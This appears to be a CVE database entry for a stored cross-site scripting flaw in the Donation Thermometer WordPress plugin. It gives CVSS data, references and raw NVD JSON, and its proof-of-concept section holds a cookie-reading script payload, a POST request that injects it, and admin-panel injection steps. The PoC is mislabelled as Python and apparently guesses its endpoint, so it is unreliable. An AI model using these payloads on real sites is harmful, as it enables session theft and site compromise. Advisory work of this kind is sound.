CVE-2025-67550

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in rhewlif Donation Thermometer donation-thermometer allows Stored XSS.This issue affects Donation Thermometer: from n/a through <= 2.2.6.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Donation Thermometer <= 2.2.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-67550 Stored XSS PoC for WordPress Donation Thermometer Plugin
// Target: donation-thermometer plugin <= 2.2.6

// Attacker injects malicious payload in donation form or admin settings
const xssPayload = `<script>alert(document.cookie)</script>`;

// Example: Craft a donation with XSS payload in donor name field
const maliciousDonation = {
    donor_name: xssPayload,
    donation_amount: 100,
    message: 'Test donation'
};

// Send POST request to WordPress admin-ajax.php or plugin endpoint
fetch('/wp-admin/admin-ajax.php', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
    },
    body: new URLSearchParams({
        action: 'donation_thermometer_submit',
        donor_name: maliciousDonation.donor_name,
        amount: maliciousDonation.donation_amount,
        message: maliciousDonation.message
    })
})
.then(response => response.json())
.then(data => console.log('Payload injected:', data));

// Alternative: Use admin panel to inject via settings
// Navigate to: Settings > Donation Thermometer > Add/Edit Thermometer
// Insert payload in any text field (name, message, goal title)
// Save and view frontend page to trigger XSS

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67550
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67550
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67550/
[4] VulDB https://vuldb.com/cve/CVE-2025-67550
[5] https://patchstack.com/database/Wordpress/Plugin/donation-thermometer/vulnerability/wordpress-donation-thermometer-plugin-2-2-6-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67550", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:30.963", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in rhewlif Donation Thermometer donation-thermometer allows Stored XSS.This issue affects Donation Thermometer: from n/a through <= 2.2.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/donation-thermometer/vulnerability/wordpress-donation-thermometer-plugin-2-2-6-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}